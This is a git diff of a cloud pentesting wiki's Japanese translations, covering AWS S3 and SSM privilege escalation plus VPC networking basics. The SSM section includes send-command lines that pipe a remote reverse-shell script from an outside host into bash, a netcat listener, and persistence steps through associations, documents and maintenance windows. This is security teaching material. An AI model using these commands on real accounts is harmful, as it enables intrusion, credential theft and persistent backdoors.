### `s3:PutObject`, `s3:GetObject` -これらは **get and upload objects to S3** 権限です。AWS 内外のいくつかのサービスは **config files** を保存するために S3 ストレージを利用します。\ -攻撃者がそれらに対して **read access** を持っていれば、**sensitive information** を発見する可能性があります。\ -攻撃者がそれらに対して **write access** を持っていれば、**modify the data to abuse some service and try to escalate privileges** するためにデータを改変できる可能性があります。\ -いくつかの例を以下に示します: +これらは **S3 に object を get して upload する**ための permission です。AWS 内外のいくつかの service は **config files** を保存するために S3 storage を使います。\ +それらに対する **read access** を持つ attacker は、そこから **sensitive information** を見つけられるかもしれません。\ +それらに対する **write access** を持つ attacker は、**data を modify して service を abuse し、privileges を escalate しようとする**ことができます。\ +以下はその例です: -- もし EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。 +- EC2 instance が **user data を S3 bucket に保存している**場合、attacker はそれを modify して **EC2 instance 内で arbitrary code を execute** できます。 ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. -Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`. +[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state file が cloud provider の blob storage、たとえば AWS S3 に保存されるのは非常に一般的です。state file の file suffix は `.tfstate` で、bucket names からも terraform state file を含んでいることが分かることがよくあります。通常、各 AWS account には account の state を示す state files を保存するためのそのような bucket が 1 つあります。 +また通常、実運用の account ではほぼ常にすべての developer が `s3:*` を持っており、場合によっては business users でさえ `s3:Put*` を持っています。 -So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources. +そのため、これらの file に対して上記の permission があれば、`terraform` の privilege、たいていは `AdministratorAccess` で pipeline 内で RCE を得られる attack vector があります。これにより cloud account の admin になれます。さらに、その vector を使って `terraform` に正当な resource を delete させ、denial of service attack を行うこともできます。 -Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: +直接使える exploit code については、*Terraform Security* ページの *Abusing Terraform State Files* セクションの説明に従ってください: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -65,7 +65,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te ### `s3:PutBucketPolicy` -攻撃者は **from the same account** である必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限があれば当該バケットに対して自身にさらに多くの権限を付与し、読み取り、書き込み、変更、削除、公開などを行えるようになります。 +attacker が必要とするのが **same account からであること** の場合で、そうでないと error `The specified method is not allowed will trigger` が発生しますが、この permission により bucket(s) に対してより多くの permissions を自分に付与でき、bucket を read, write, modify, delete し、expose できるようになります。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,7 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対する自分のアクセス権を拡大することができます。 +攻撃者はこれらの権限を悪用して、bucket 内の特定の object に対するより多くの access を自分に付与できる。 ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対して Acl を設定できると想定されます。 +これらの権限を持つ攻撃者は、特定の object version に Acl を設定できると想定されます ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` ### `s3:PutBucketCORS` -s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。この設定はどの Web ドメインがバケットのエンドポイントにアクセスできるかを制御します。寛容なポリシーを設定すると、任意のサイトがブラウザ経由で直接バケットにリクエストを送り、レスポンスを読み取れるようになります。 +`s3:PutBucketCORS` 権限を持つ攻撃者は、bucket の CORS (Cross-Origin Resource Sharing) 設定を変更でき、どの web domains がその endpoint にアクセスできるかを制御できます。許可的な policy を設定すると、任意の website が bucket に直接 request を送り、browser から response を read できてしまいます。 -つまり、バケットからホストされている Web アプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用して、アプリによってはユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。 +つまり、潜在的には、bucket で hosted されている web app の authenticated user が attacker の website を訪れた場合、attacker はその permissive な CORS policy を悪用でき、application によっては user の profile data に access したり、さらに user の account を hijack したりできる可能性があります。 ```bash aws s3api put-bucket-cors \ --bucket \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index c35984871..7bcf3f56a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -12,7 +12,7 @@ SSM についての詳細は以下を確認してください: ### `ssm:SendCommand` -**`ssm:SendCommand`** 権限を持つ攻撃者は、Amazon SSM Agent が動作しているインスタンス内で**コマンドを実行**でき、その中で動作している **IAM Role を侵害**できます。 +**`ssm:SendCommand`** 権限を持つ攻撃者は、Amazon SSM Agent が動作しているインスタンスで **commands を実行**でき、その中で動作している **IAM Role を侵害**できます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -この technique を already compromised な EC2 instance 内で権限昇格に使っている場合は、rev shell をローカルで次のように capture するだけでよいです: +すでに侵害済みの EC2 インスタンス内で権限昇格にこの technique を使っている場合、次のようにして rev shell をローカルで取得できます: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**潜在的な影響:** SSM Agents が動作している稼働中の instances に attached された EC2 IAM roles への直接的な privesc。 +**潜在的影響:** 実行中のインスタンスで SSM Agent が動作している場合、そのインスタンスに付与された EC2 IAM roles へ直接 privesc 可能。 ### `ssm:StartSession` -権限 **`ssm:StartSession`** を持つ attacker は、Amazon SSM Agent が動作している instances で **SSH のような session を開始** でき、その中で動作している **IAM Role を compromise** できる。 +**`ssm:StartSession`** 権限を持つ攻撃者は、Amazon SSM Agent が動作している **インスタンスで SSH のようなセッションを開始でき**、その中で実行されている **IAM Role を compromise** できる。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> セッションを開始するには **SessionManagerPlugin** のインストールが必要です: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> セッションを開始するには、**SessionManagerPlugin** のインストールが必要です: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** 稼働中のインスタンスにアタッチされた、SSM Agents が動作している EC2 IAM roles への直接 privesc。 +**Potential Impact:** 実行中のインスタンスで動作している SSM Agents にアタッチされた EC2 IAM roles への直接 privesc。 #### Privesc to ECS -**ECS tasks** が **`ExecuteCommand` enabled** で実行されている場合、十分な権限を持つユーザーは `ecs execute-command` を使って container 内で **コマンドを実行** できます。\ -[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) によると、これは SSM Session Manager を使って “_exec_“ コマンドを開始する端末と target container の間に secure channel を作成することで実現されます。（これが動作するには SSM Session Manager Plugin が必要です）\ -そのため、`ssm:StartSession` を持つユーザーは、この option が enabled な ECS tasks 内で **shell を取得** でき、次を実行するだけです: +**ECS tasks** が **`ExecuteCommand` enabled** で実行されている場合、十分な権限を持つ users は `ecs execute-command` を使って container 内で command を **execute** できます。\ +[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) によると、これは SSM Session Manager を使って、`_exec_` command を開始するために使用する device と target container の間に secure channel を作成することで行われます。(これを機能させるには SSM Session Manager Plugin が必要です)\ +したがって、`ssm:StartSession` を持つ users は、その option が enabled されている ECS tasks 内で、次を実行するだけで **shell を取得** できます: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` -![](<../../../images/image (185).png>) +![Terminal running aws ssm start-session against an ECS target and receiving a root shell](<../../../images/image (185).png>) -**Potential Impact:** `ExecuteCommand` が有効な実行中のタスクに付与された `ECS`IAM roles への直接的な privesc。 +**Potential Impact:** `ExecuteCommand` が有効な実行中タスクに付与された `ECS`IAM roles への直接的な privesc。 ### `ssm:ResumeSession` -**`ssm:ResumeSession`** 権限を持つ attacker は、Amazon SSM Agent が動作している instances で **切断された** SSM session state を持つ **SSH のような session を再開** でき、その中で動作している **IAM Role を compromise** できます。 +**`ssm:ResumeSession`** 権限を持つ attacker は、Amazon SSM Agent が動作している instances で **disconnected** な SSM session state を持つセッションを SSH のように **再開** でき、その中で動作している **IAM Role を compromise** できる。 ```bash # Check for configured instances aws ssm describe-sessions @@ -72,30 +72,30 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**潜在的影響:** SSM Agents が動作していて切断された sessions を持つ稼働中の instances にアタッチされた EC2 IAM roles への直接的な privesc。 +**Potential Impact:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接 privesc。SSM Agents が動作しており、disconected sessions がある場合。 ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -記載の permissions を持つ attacker は、**SSM parameters** を一覧表示し、それらを**平文で読む**ことができます。これらの parameters には、SSH keys や API keys などの**機密情報**がしばしば含まれています。 +上記の permissions を持つ attacker は、**SSM parameters** を一覧表示し、それらを**平文で読む**ことができます。これらの parameters には、SSH keys や API keys のような**機密情報**がしばしば**見つかります**。 ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` -**潜在的影響:** パラメータ内の機密情報を見つける。 +**潜在的影響:** パラメータ内に機密情報を見つける。 ### `ssm:ListCommands` -この権限を持つ attacker は、送信されたすべての **commands** を一覧表示でき、うまくいけばそこから **sensitive information** を見つけられる。 +この権限を持つ攻撃者は、送信されたすべての**commands**を一覧表示でき、そこから**sensitive information**を見つけられる可能性がある。 ``` aws ssm list-commands ``` -**潜在的影響:** コマンドライン内の機密情報を見つける。 +**潜在的影響:** コマンドライン内にある機密情報を見つける。 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -これらの権限を持つ攻撃者は、送信されたすべての**commands**を一覧表示し、生成された**output**を読み取れるため、そこに**sensitive information**が含まれていないか確認できる。 +これらの権限を持つ攻撃者は、送信されたすべての**commands**を一覧表示し、生成された出力を**read**できるため、そこに**sensitive information**が含まれていないか見つけられる可能性がある。 ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**潜在的な影響:** コマンドラインの出力内で機密情報を見つける。 +**潜在的影響:** コマンドラインの出力内に機密情報を見つける。 ### ssm:CreateAssociation を使用する -権限 **`ssm:CreateAssociation`** を持つ攻撃者は、SSM によって管理される EC2 インスタンス上でコマンドを自動実行するために、State Manager Association を作成できます。これらの association は、固定間隔で実行するように設定できるため、対話型セッションなしで backdoor のような永続化に適しています。 +権限 **`ssm:CreateAssociation`** を持つ攻撃者は、SSM によって管理される EC2 インスタンス上でコマンドを自動実行するために State Manager Association を作成できます。これらの association は固定間隔で実行するように設定できるため、対話型セッションなしで backdoor のような永続化に適しています。 ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,11 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running していて、かつ attacker が associations を作成する permission を持っている限り機能します。interactive sessions や明示的な ssm:SendCommand permissions は不要です。**Important:** `--schedule-expression` parameter（例: `rate(30 minutes)`）は AWS の minimum interval 30 minutes に従う必要があります。即時または一回限りの execution には、`--schedule-expression` を完全に省略してください — association は creation 後に一度だけ実行されます。 +> この persistence method は、EC2 instance が Systems Manager によって managed され、SSM agent が running しており、かつ attacker に associations を create する permission がある限り機能します。interactive sessions や明示的な `ssm:SendCommand` permissions は必要ありません。**Important:** `--schedule-expression` parameter（例: `rate(30 minutes)`）は AWS の最小間隔である 30 分を満たす必要があります。即時実行または一度だけの実行を行う場合は、`--schedule-expression` を完全に省略します。association は作成後に 1 回だけ実行されます。 ### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) -**`ssm:UpdateDocument`** と **`ssm:UpdateDocumentDefaultVersion`** の permissions を持つ attacker は、既存の documents を modifying することで privilege escalation できます。これにより、その document 内での persistence も可能になります。実際には、attacker は custom documents の names を取得するために **`ssm:ListDocuments`** も必要で、さらに attacker が既存の document 内に payload を obfuscate したい場合は **`ssm:GetDocument`** も必要になります。 +**`ssm:UpdateDocument`** と **`ssm:UpdateDocumentDefaultVersion`** の permissions を持つ attacker は、既存の documents を modify することで privilege escalation できます。これにより、その document 内での persistence も可能になります。実際には、attacker が custom documents の名前を取得するために **`ssm:ListDocuments`** も必要であり、さらに既存の document 内に payload を obfuscate したい場合は **`ssm:GetDocument`** も必要になります。 ```bash aws ssm list-documents aws ssm get-document --name "target-document" --document-format YAML @@ -133,7 +133,7 @@ aws ssm update-document \ --document-version 1 aws ssm update-document-default-version --name "target-document" --document-version 2 ``` -以下は、既存の document を上書きするために使用できる example document です。invocation の問題を避けるため、document type が target document の type と一致していることを確認したいでしょう。以下の document は、例えば **`ssm:SendCommand`** と **`ssm:CreateAssociation`** の examples に使われます。 +以下は、既存のドキュメントを上書きするために使用できる例のドキュメントです。invocation の問題を避けるために、ドキュメントの type が target document の type と一致していることを確認する必要があります。以下のドキュメントは、たとえば **`ssm:SendCommand`** と **`ssm:CreateAssociation`** の examples になります。 ```yaml schemaVersion: '2.2' description: Execute commands on a Linux instance. @@ -151,7 +151,7 @@ runCommand: ``` ### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) -**`ssm:RegisterTaskWithMaintenanceWindow`** と **`ssm:RegisterTargetWithMaintenanceWindow`** の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を更新して登録することで、privilege escalation できます。これにより既存の targets 上で execution を実現できますが、新しい targets を登録することで、異なる roles を持つ compute を compromise することも可能になります。また、maintenance windows の tasks は window 作成時に定義された間隔で実行されるため、persistence にも利用できます。実際には、maintenance window の ID を取得するために **`ssm:DescribeMaintenanceWindows`** も必要になります。 +**`ssm:RegisterTaskWithMaintenanceWindow`** と **`ssm:RegisterTargetWithMaintenanceWindow`** の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を登録更新することで privilege escalation できます。これにより既存の target 上で execution できますが、新しい target を登録することで、異なる role を持つ compute を compromise できる場合があります。これは persistence にもつながります。なぜなら maintenance window の task は、window 作成時に定義された pre-defined interval で実行されるためです。実際には、攻撃者は maintenance window ID を取得するために **`ssm:DescribeMaintenanceWindows`** も必要になります。 ``` bash aws ec2 describe-instances aws ssm describe-maintenance-window @@ -170,7 +170,7 @@ aws ssm register-task-with-maintenance-window \ ``` ### Codebuild -SSMを使って、ビルド中のcodebuildプロジェクトの中に入ることもできます: +SSM を使って、ビルド中の codebuild プロジェクト内に入ることもできます: {{#ref}} ../aws-codebuild-privesc/README.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 388fa5204..2b8a6191e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -4,24 +4,24 @@ ## AWS Networking in a Nutshell -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +**VPC** は、10.0.0.0/16 のような **network CIDR**（**routing table** と **network ACL** を含む）を持つ。 -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +この VPC network は **subnetworks** に分割されるため、**subnetwork** は **VPC**、**routing** **table**、**network ACL** と直接 **related** している。 -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +その後、EC2 instances のような services に attached された **Network Interface** は、**security group(s)** とともに **subnetworks** に **connected** される。 -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +したがって、**security group** は、それを使用する network **interfaces** の exposed ports を、**subnetwork** とは **independently** に制限する。さらに、**network ACL** は exposed ports を network **全体** に対して **limit** する。 -Moreover, in order to **access Internet**, there are some interesting configurations to check: +また、**Internet** に **access** するためには、確認すべき興味深い構成がいくつかある: -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** -- You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. -- The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- **subnetwork** は public IPv4 addresses を **auto-assign** できる +- network 内で作成された **instance** は、auto-assign IPv4 addresses が有効なら、それを 1 つ取得できる +- **Internet gateway** は **VPC** に **attached** されている必要がある +- **Egress-only internet gateways** も使用できる +- **private subnet** に **NAT gateway** を置くこともでき、その場合その private subnet から external services へ **connect** することは可能だが、外部からそれらに **reach** することは **not possible** である +- NAT gateway は **public**（internet へ access）または **private**（他の VPCs へ access）にできる -![](<../../../../images/image (274).png>) +![AWS VPC networking diagram with public and private subnets, internet gateway, NAT gateway, and cloud access](<../../../../images/image (274).png>) ## VPC @@ -29,122 +29,122 @@ Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resour ### Subnets -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +Subnets は、より高いレベルのセキュリティを強制するのに役立つ。**類似した resources の論理的な grouping** は、infrastructure 全体の **管理のしやすさ** を維持するのにも役立つ。 -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. +- Valid CIDR は /16 netmask から /28 netmask の範囲。 +- 1 つの subnet は、同時に複数の availability zones に存在できない。 - **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: the first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- **public subnets** とは、**direct access to the Internet** を持つものを指し、private subnets はそうではない。 ### Route Tables -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +Route tables は、VPC 内の subnet の traffic routing を決定する。どの network traffic が internet または VPN connection に forward されるかを決める。通常、以下への access が見つかる: - Local VPC - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). -- In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- Internet Gateways / Egress-only Internet gateways（VPC に Internet access を与えるために必要） +- subnet を public にするには、VPC に **Internet gateway** を **create** して **attach** する必要がある。 +- VPC endpoints（private networks から S3 に access するため） ### ACLs -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**Network Access Control Lists (ACLs)**: Network ACLs は、subnet への incoming および outgoing network traffic を制御する firewall rules である。特定の IP addresses や ranges への traffic を allow または deny するために使える。 -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- access を security groups で allow/deny するのが最も一般的だが、確立済みの reverse shells を完全に切断する唯一の方法でもある。security groups の rule を変更しても、すでに established な connection は止まらない +- ただし、これは subnet 全体に適用されるので、必要な functionality が壊れないよう注意すること ### Security Groups -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +security groups は、VPC 内の instances への inbound および outbound network **traffic** を制御する仮想 **firewall** である。1 SG に対して複数 instances の関係（通常は 1 対 1）。\ +通常、これは instance 上で危険な ports を開くために使われる。たとえば port 22 など:
### Elastic IP Addresses -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +_Elastic IP address_ は、dynamic cloud computing 向けに設計された **static IPv4 address** である。Elastic IP address は AWS account に割り当てられ、解放するまであなたのものになる。Elastic IP address を使うことで、address を自分の account 内の別の instance に素早く再割り当てし、instance や software の failure を隠せる。 ### Connection between subnets -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +デフォルトでは、すべての subnets で **automatic assigned of public IP addresses** は off になっているが、on にできる。 -**A local route within a route table enables communication between VPC subnets.** +**route table 内の local route** により、VPC subnets 間の communication が可能になる。 -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +もし **ある subnet を別の subnet に接続**している場合、他方の subnet に接続された subnets へは access できないので、それらに直接 connection を作成する必要がある。**これは internet gateways にも適用される**。internet access のために subnet connection を経由することはできず、internet gateway を subnet に assign する必要がある。 ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPC peering は、IPV4 または IPV6 を使って、2 つ以上の VPCs を同じ network の一部であるかのように **connect** できる。 -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +peer connectivity が確立されると、**ある VPC の resources は別の VPC の resources に access** できる。VPCs 間の connectivity は既存の AWS network infrastructure 上で実装されるため、高可用で bandwidth bottleneck がない。**peered connections は同じ network の一部のように動作する** ため、使用できる CIDR block ranges には制限がある。\ +VPC に **overlapping or duplicate CIDR** ranges がある場合、VPCs を相互に peer することは **できない**。\ +各 AWS VPC は **自分の peer とだけ** communication する。例として、VPC 1 と VPC 2 の間に peering connection があり、さらに図のように VPC 2 と VPC 3 の間にも connection がある場合、VPC 1 と 2 は直接 communication でき、VPC 2 と 3 も同様だが、VPC 1 と VPC 3 はできない。**1 つの VPC を経由して別の VPC に行くことはできない。** ### **VPC Flow Logs** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +VPC 内では、public/private の異なる subnets 間や、VPC peering connections を通じて異なる VPCs 間で通信する数百、あるいは数千の resources が存在しうる。**VPC Flow Logs により、VPC 内の resources の network interfaces 間を流れる IP traffic information を capture できる**。 -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +S3 access logs や CloudFront access logs とは異なり、**VPC Flow Logs によって生成される log data は S3 に保存されない。代わりに、capture された log data は CloudWatch logs に送信される**。 Limitations: -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- VPC peered connection を実行している場合、同じ account 内にある peered VPCs の flow logs しか見られない。 +- まだ EC2-Classic environment で resources を動かしている場合、残念ながらそれらの interfaces から情報を取得できない +- 一度 VPC Flow Log が作成されると、変更できない。VPC Flow Log の configuration を変更するには、それを削除してから新しいものを再作成する必要がある。 +- 以下の traffic は logs で monitored も capture もされない。VPC 内の DHCP traffic、Amazon DNS Server 宛ての instances からの traffic。 +- VPC default router の IP address 宛ての traffic と、以下の addresses との間の traffic: 169.254.169.254（instance metadata の収集に使用）および 169.254.169.123（Amazon Time Sync Service に使用）。 +- Windows instance からの Amazon Windows activation license に関する traffic +- network load balancer interface と endpoint network interface の間の traffic -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +CloudWatch log group に data を publish する各 network interface ごとに、別々の log stream が使用される。そして、各 stream 内には log entries の内容を示す flow log event data がある。これら各 **logs captures data during a window of approximately 10 to 15 minutes**。 ## VPN ### Basic AWS VPN Components 1. **Customer Gateway**: -- A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. -- It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. -- You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. -- It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Customer Gateway は、VPN connection のあなた側を表すために AWS で作成する resource である。 +- 本質的には、Site-to-Site VPN connection のあなた側にある物理 device または software application である。 +- AWS に Customer Gateway を作成するため、routing information と network device（router や firewall など）の public IP address を提供する。 +- VPN connection を設定するための reference point として機能し、追加料金は発生しない。 2. **Virtual Private Gateway**: -- A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. -- It is attached to your VPC and serves as the target for your VPN connection. -- VPG is the AWS side endpoint for the VPN connection. -- It handles the secure communication between your VPC and your on-premises network. +- Virtual Private Gateway (VPG) は、Site-to-Site VPN connection の Amazon 側にある VPN concentrator である。 +- これは VPC に attached され、VPN connection の target として機能する。 +- VPG は VPN connection の AWS 側 endpoint である。 +- VPC と on-premises network 間の secure communication を処理する。 3. **Site-to-Site VPN Connection**: -- A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. -- This type of connection requires a Customer Gateway and a Virtual Private Gateway. -- It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. -- Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Site-to-Site VPN connection は、secure な IPsec VPN tunnel を通じて on-premises network を VPC に接続する。 +- この type の connection には Customer Gateway と Virtual Private Gateway が必要。 +- data center や network と AWS environment 間の secure で安定した一貫性のある communication に使われる。 +- 通常は定常的で長期の connection に使われ、課金は connection を通過した data 量に基づく。 4. **Client VPN Endpoint**: -- A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. -- It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. -- It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. -- With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Client VPN endpoint は、client VPN sessions を有効化・管理するために AWS で作成する resource である。 +- 個々の devices（laptops、smartphones など）が AWS resources や on-premises network に secure に接続できるようにするために使われる。 +- これは、ネットワーク全体を接続するのではなく個別の clients 向けに設計されている点で Site-to-Site VPN と異なる。 +- 